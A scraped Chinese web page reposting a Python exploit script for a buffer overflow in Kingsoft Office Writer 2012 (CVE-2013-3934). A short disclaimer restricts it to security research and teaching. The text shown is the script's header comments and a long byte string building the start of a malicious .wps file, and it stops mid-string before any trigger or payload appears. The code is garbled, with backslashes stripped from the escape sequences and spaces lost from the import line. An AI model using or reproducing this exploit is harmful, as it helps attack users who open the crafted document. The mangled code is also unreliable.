zoukankan      html  css  js  c++  java
  • wps 2012-2013 通杀漏洞(CVE-2013-3934)

    测试方法:

    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
      1. #!/usr/bin/python
      2. # Exploit Title: Kingsoft Office Writer v2012 8.1.0.3385 .wps Buffer Overflow Exploit (SEH)
      3. # Version: 2012 8.1.0.3385
      4. # Date: 2013-11-27
      5. # Author: Julien Ahrens (@MrTuxracer)
      6. # Homepage: http://www.rcesecurity.com
      7. # Software Link: http://www.kingsoftstore.com
      8. # Tested on: WinXP-GER, Win7-GER, Win8-EN
      9. #
      10. # Credits for vulnerability discovery:
      11. # Kaveh Ghaemmaghami (http://www.securityfocus.com/bid/61796)
      12. #
      13. # Howto / Notes:
      14. # This scripts creates a .wps file which exploits the vulnerability described in
      15. # CVE-2013-3934 and bypasses SafeSEH protection
      16. fromstructimport pack
      17. file="exploit.wps"
      18. head=("xD0xCFx11xE0xA1xB1x1AxE1x00x00x00x00x00x00x00x00"+
      19. "x00x00x00x00x00x00x00x00x3Ex00x03x00xFExFFx09x00"+
      20. "x06x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00"+
      21. "x01x00x00x00x00x00x00x00x00x10x00x00x02x00x00x00"+
      22. "x01x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
      23. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      24. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      25. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      26. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      27. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      28. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      29. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      30. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      31. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      32. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      33. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      34. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      35. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      36. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      37. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      38. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      39. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      40. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      41. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      42. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      43. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      44. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      45. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      46. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      47. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      48. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      49. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      50. "xFDxFFxFFxFFx05x00x00x00xFExFFxFFxFFx04x00x00x00"+
      51. "x06x00x00x00xFExFFxFFxFFx07x00x00x00x08x00x00x00"+
      52. "x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
      53. "x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00x10x00x00x00"+
      54. "x11x00x00x00x12x00x00x00x13x00x00x00xFExFFxFFxFF"+
      55. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      56. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      57. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      58. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      59. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      60. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      61. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      62. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      63. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      64. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      65. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      66. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      67. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      68. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      69. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      70. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      71. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      72. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      73. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      74. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      75. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      76. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      77. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      78. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      79. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      80. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      81. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      82. "x52x00x6Fx00x6Fx00x74x00x20x00x45x00x6Ex00x74x00"+
      83. "x72x00x79x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      84. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      85. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      86. "x16x00x05x00xFFxFFxFFxFFxFFxFFxFFxFFx01x00x00x00"+
      87. "x06x09x02x00x00x00x30x4BxA9x77xD2x14x85x20x36xFE"+
      88. "x00x00x00x00x00x00x00x00x00x00x00x00x60x53x8Ex7F"+
      89. "x5CxE9xCEx01x03x00x00x00x40x1Ex00x00x00x00x00x00"+
      90. "x05x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
      91. "x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
      92. "x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
      93. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      94. "x28x00x02x01x04x00x00x00x02x00x00x00xFFxFFxFFxFF"+
      95. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      96. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      97. "x00x00x00x00x00x00x00x00x00x02x00x00x00x00x00x00"+
      98. "x05x00x44x00x6Fx00x63x00x75x00x6Dx00x65x00x6Ex00"+
      99. "x74x00x53x00x75x00x6Dx00x6Dx00x61x00x72x00x79x00"+
      100. "x49x00x6Ex00x66x00x6Fx00x72x00x6Dx00x61x00x74x00"+
      101. "x69x00x6Fx00x6Ex00x00x00x00x00x00x00x00x00x00x00"+
      102. "x38x00x02x01xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      103. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      104. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      105. "x00x00x00x00x08x00x00x00xF0x01x00x00x00x00x00x00"+
      106. "x57x00x6Fx00x72x00x64x00x44x00x6Fx00x63x00x75x00"+
      107. "x6Dx00x65x00x6Ex00x74x00x00x00x00x00x00x00x00x00"+
      108. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      109. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      110. "x1Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      111. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      112. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      113. "x00x00x00x00x10x00x00x00x2Fx0Ex00x00x00x00x00x00"+
      114. "x01x00x00x00x02x00x00x00x03x00x00x00x04x00x00x00"+
      115. "x05x00x00x00x06x00x00x00x07x00x00x00xFExFFxFFxFF"+
      116. "x09x00x00x00x0Ax00x00x00x0Bx00x00x00x0Cx00x00x00"+
      117. "x0Dx00x00x00x0Ex00x00x00x0Fx00x00x00xFExFFxFFxFF"+
      118. "x11x00x00x00x12x00x00x00x13x00x00x00x14x00x00x00"+
      119. "x15x00x00x00x16x00x00x00x17x00x00x00x18x00x00x00"+
      120. "x19x00x00x00x1Ax00x00x00x1Bx00x00x00x1Cx00x00x00"+
      121. "x1Dx00x00x00x1Ex00x00x00x1Fx00x00x00x20x00x00x00"+
      122. "x21x00x00x00x22x00x00x00x23x00x00x00x24x00x00x00"+
      123. "x25x00x00x00x26x00x00x00x27x00x00x00x28x00x00x00"+
      124. "x29x00x00x00x2Ax00x00x00x2Bx00x00x00x2Cx00x00x00"+
      125. "x2Dx00x00x00x2Ex00x00x00x2Fx00x00x00x30x00x00x00"+
      126. "x31x00x00x00x32x00x00x00x33x00x00x00x34x00x00x00"+
      127. "x35x00x00x00x36x00x00x00x37x00x00x00x38x00x00x00"+
      128. "x39x00x00x00x3Ax00x00x00x3Bx00x00x00x3Cx00x00x00"+
      129. "x3Dx00x00x00x3Ex00x00x00x3Fx00x00x00x40x00x00x00"+
      130. "x41x00x00x00x42x00x00x00x43x00x00x00x44x00x00x00"+
      131. "x45x00x00x00x46x00x00x00x47x00x00x00x48x00x00x00"+
      132. "xFExFFxFFxFFx4Ax00x00x00x4Bx00x00x00x4Cx00x00x00"+
      133. "x4Dx00x00x00x4Ex00x00x00x4Fx00x00x00x50x00x00x00"+
      134. "x51x00x00x00x52x00x00x00x53x00x00x00x54x00x00x00"+
      135. "x55x00x00x00x56x00x00x00x57x00x00x00x58x00x00x00"+
      136. "x59x00x00x00x5Ax00x00x00x5Bx00x00x00x5Cx00x00x00"+
      137. "x5Dx00x00x00x5Ex00x00x00x5Fx00x00x00x60x00x00x00"+
      138. "x61x00x00x00x62x00x00x00x63x00x00x00x64x00x00x00"+
      139. "x65x00x00x00x66x00x00x00x67x00x00x00x68x00x00x00"+
      140. "x69x00x00x00x6Ax00x00x00x6Bx00x00x00x6Cx00x00x00"+
      141. "x6Dx00x00x00x6Ex00x00x00x6Fx00x00x00x70x00x00x00"+
      142. "x71x00x00x00x72x00x00x00x73x00x00x00x74x00x00x00"+
      143. "x75x00x00x00x76x00x00x00x77x00x00x00x78x00x00x00"+
      144. "xFExFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      145. "xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      146. "xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
      147. "x00x00x00x00x00x00x00x00x01x00x00x00xE0x85x9FxF2"+
      148. "xF9x4Fx68x10xABx91x08x00x2Bx27xB3xD9x30x00x00x00"+
      149. "xD0x01x00x00x12x00x00x00x01x00x00x00xA0x00x00x00"+
      150. "x00x00x00x80xA8x00x00x00x02x00x00x00xB0x00x00x00"+
      151. "x03x00x00x00xC4x00x00x00x04x00x00x00xD0x00x00x00"+
      152. "x05x00x00x00xF4x00x00x00x06x00x00x00x00x01x00x00"+
      153. "x07x00x00x00x0Cx01x00x00x08x00x00x00x2Cx01x00x00"+
      154. "x09x00x00x00x4Cx01x00x00x0Cx00x00x00x58x01x00x00"+
      155. "x0Dx00x00x00x64x01x00x00x0Bx00x00x00x70x01x00x00"+
      156. "x0Ex00x00x00x7Cx01x00x00x0Fx00x00x00x84x01x00x00"+
      157. "x10x00x00x00x8Cx01x00x00x12x00x00x00x94x01x00x00"+
      158. "x13x00x00x00xC8x01x00x00x00x00x00x00x00x00x00x00"+
      159. "x02x00x00x00xB0x04x00x00x13x00x00x00x07x04x00x00"+
      160. "x1Fx00x00x00x05x00x00x00x74x00x65x00x73x00x74x00"+
      161. "x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
      162. "x1Fx00x00x00x0Ex00x00x00x41x00x64x00x6Dx00x69x00"+
      163. "x6Ex00x69x00x73x00x74x00x72x00x61x00x74x00x6Fx00"+
      164. "x72x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
      165. "x1Fx00x00x00x01x00x00x00x00x00x00x00x1Fx00x00x00"+
      166. "x0Bx00x00x00x4Ex00x6Fx00x72x00x6Dx00x61x00x6Cx00"+
      167. "x2Ex00x77x00x70x00x74x00x00x00x00x00x1Fx00x00x00"+
      168. "x0Bx00x00x00x7Ax00x68x00x61x00x6Ex00x67x00x71x00"+
      169. "x69x00x61x00x6Ex00x67x00x00x00x00x00x1Fx00x00x00"+
      170. "x02x00x00x00x33x00x00x00x40x00x00x00x00x0Ax6Ex92"+
      171. "x1DxEDxCAx01x40x00x00x00x00x50x29x7Fx5CxE9xCEx01"+
      172. "x40x00x00x00x00xC0x0CxA9xA9x35x4Fx01x03x00x00x00"+
      173. "x01x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
      174. "x00x00x00x00x1Fx00x00x00x16x00x00x00x4Dx00x69x00"+
      175. "x63x00x72x00x6Fx00x73x00x6Fx00x66x00x74x00x20x00"+
      176. "x4Fx00x66x00x66x00x69x00x63x00x65x00x20x00x57x00"+
      177. "x6Fx00x72x00x64x00x00x00x03x00x00x00x00x00x00x00"+
      178. "xFExFFx00x00x05x01x02x00x00x00x00x00x00x00x00x00"+
      179. "x00x00x00x00x00x00x00x00x02x00x00x00x02xD5xCDxD5"+
      180. "x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAEx44x00x00x00"+
      181. "x05xD5xCDxD5x9Cx2Ex1Bx10x93x97x08x00x2Bx2CxF9xAE"+
      182. "x5Cx01x00x00x18x01x00x00x10x00x00x00x01x00x00x00"+
      183. "x88x00x00x00x00x00x00x80x90x00x00x00x0Fx00x00x00"+
      184. "x98x00x00x00x02x00x00x00xA4x00x00x00x0Ex00x00x00"+
      185. "xB0x00x00x00x06x00x00x00xBCx00x00x00x05x00x00x00"+
      186. "xC4x00x00x00x11x00x00x00xCCx00x00x00x03x00x00x00"+
      187. "xD4x00x00x00x04x00x00x00xE0x00x00x00x07x00x00x00"+
      188. "xE8x00x00x00x08x00x00x00xF0x00x00x00x09x00x00x00"+
      189. "xF8x00x00x00x0Ax00x00x00x00x01x00x00x0Bx00x00x00"+
      190. "x08x01x00x00x10x00x00x00x10x01x00x00x02x00x00x00"+
      191. "xB0x04x00x00x13x00x00x00x07x04x00x00x1Fx00x00x00"+
      192. "x01x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
      193. "x00x00x00x00x1Fx00x00x00x01x00x00x00x00x00x00x00"+
      194. "x03x00x00x00x01x00x00x00x03x00x00x00x01x00x00x00"+
      195. "x03x00x00x00x00x00x00x00x1Fx00x00x00x01x00x00x00"+
      196. "x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
      197. "x00x00x00x00x03x00x00x00x00x00x00x00x03x00x00x00"+
      198. "x00x00x00x00x03x00x00x00x00x00x00x00x0Bx00x00x00"+
      199. "x00x00x00x00x0Bx00x00x00x00x00x00x00x94x00x00x00"+
      200. "x04x00x00x00x00x00x00x00x28x00x00x00x01x00x00x00"+
      201. "x5Cx00x00x00x00x00x00x80x64x00x00x00x02x00x00x00"+
      202. "x6Cx00x00x00x01x00x00x00x02x00x00x00x13x00x00x00"+
      203. "x4Bx00x53x00x4Fx00x50x00x72x00x6Fx00x64x00x75x00"+
      204. "x63x00x74x00x42x00x75x00x69x00x6Cx00x64x00x56x00"+
      205. "x65x00x72x00x00x00x00x00x02x00x00x00xB0x04x00x00"+
      206. "x13x00x00x00x07x04x00x00x1Fx00x00x00x10x00x00x00"+
      207. "x31x00x30x00x33x00x33x00x2Dx00x38x00x2Ex00x31x00"+
      208. "x2Ex00x30x00x2Ex00x33x00x33x00x38x00x35x00x00x00"+
      209. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      210. "x30x00x54x00x61x00x62x00x6Cx00x65x00x00x00x00x00"+
      211. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      212. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      213. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      214. "x0Ex00x02x01x05x00x00x00x03x00x00x00xFFxFFxFFxFF"+
      215. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      216. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      217. "x00x00x00x00x49x00x00x00xEAx0Bx00x00x00x00x00x00"+
      218. "x44x00x61x00x74x00x61x00x00x00x00x00x00x00x00x00"+
      219. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      220. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      221. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      222. "x0Ax00x02x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      223. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      224. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      225. "x00x00x00x00xFExFFxFFxFFx00x00x00x00x00x00x00x00"+
      226. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      227. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      228. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      229. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      230. "x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      231. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      232. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      233. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      234. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      235. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      236. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      237. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      238. "x00x00x00x00xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"+
      239. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      240. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      241. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      242. "xECxA5xC1x00x89x88x09x04x00x00x14x50xBFx00x00x00"+
      243. "x00x00x00x10x00x00x00x00x00x08x00x00x0Ax08x00x00"+
      244. "x0Ex00x4Bx53x4Bx53xC3x00x08x00x00x00x00x00x00x00"+
      245. "x00x00x00x00x00x00x00x00x00x00x00x00x04x08x16x00"+
      246. "x2Fx0Ex00x00x00x00x00x00x00x00x00x00x05x00x00x00"+
      247. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      248. "x00x00x00x00x00x00x00x00x00x00x00x00xFFxFFx0Fx00"+
      249. "x00x00x00x00x00x00x00x00xFFxFFx0Fx00x00x00x00x00"+
      250. "x00x00x00x00xFFxFFx0Fx00x00x00x00x00x00x00x00x00"+
      251. "x00x00x00x00x00x00x00x00xA4x00x00x00x00x00xD2x04"+
      252. "x00x00x00x00x00x00xD2x04x00x00x00x00x00x00x00x00"+
      253. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      254. "x00x00x00x00x00x00x00x00x00x00x1Dx0Bx00x00x14x00"+
      255. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      256. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      257. "x00x00x00x00x00x00x00x00x00x00xD2x04x00x00x0Cx00"+
      258. "x00x00xDEx04x00x00x0Cx00x00x00x00x00x00x00x00x00"+
      259. "x00x00xFFx04x00x00x1Ex03x00x00x00x00x00x00x00x00"+
      260. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      261. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      262. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      263. "x00x00x00x00x00x00x00x00x00x00xE8x0Bx00x00x02x00"+
      264. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      265. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      266. "x00x00x00x00x00x00x00x00x00x00xF9x0Ax00x00x24x00"+
      267. "x00x00x91x08x00x00x68x02x00x00x1Dx08x00x00x74x00"+
      268. "x00x00xEAx04x00x00x15x00x00x00x00x00x00x00x00x00"+
      269. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      270. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      271. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      272. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      273. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      274. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      275. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      276. "x00x00x00x00x00x00x00x00x00x00x31x0Bx00x00xB7x00"+
      277. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      278. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      279. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      280. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      281. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      282. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      283. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      284. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      285. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      286. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      287. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      288. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      289. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      290. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      291. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      292. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      293. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      294. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      295. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      296. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      297. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      298. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      299. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      300. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      301. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      302. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      303. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      304. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      305. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      306. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      307. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      308. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      309. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      310. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      311. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      312. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      313. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      314. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      315. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      316. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      317. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      318. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      319. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      320. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      321. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      322. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      323. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      324. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      325. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      326. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      327. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      328. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      329. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      330. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      331. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      332. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      333. "x00x00x00x00x00x00x00x00x00x00x02x00x0Cx01x00x00"+
      334. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      335. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      336. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      337. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      338. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      339. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      340. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      341. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      342. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      343. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      344. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      345. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      346. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      347. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      348. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      349. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      350. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      351. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
      352. "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
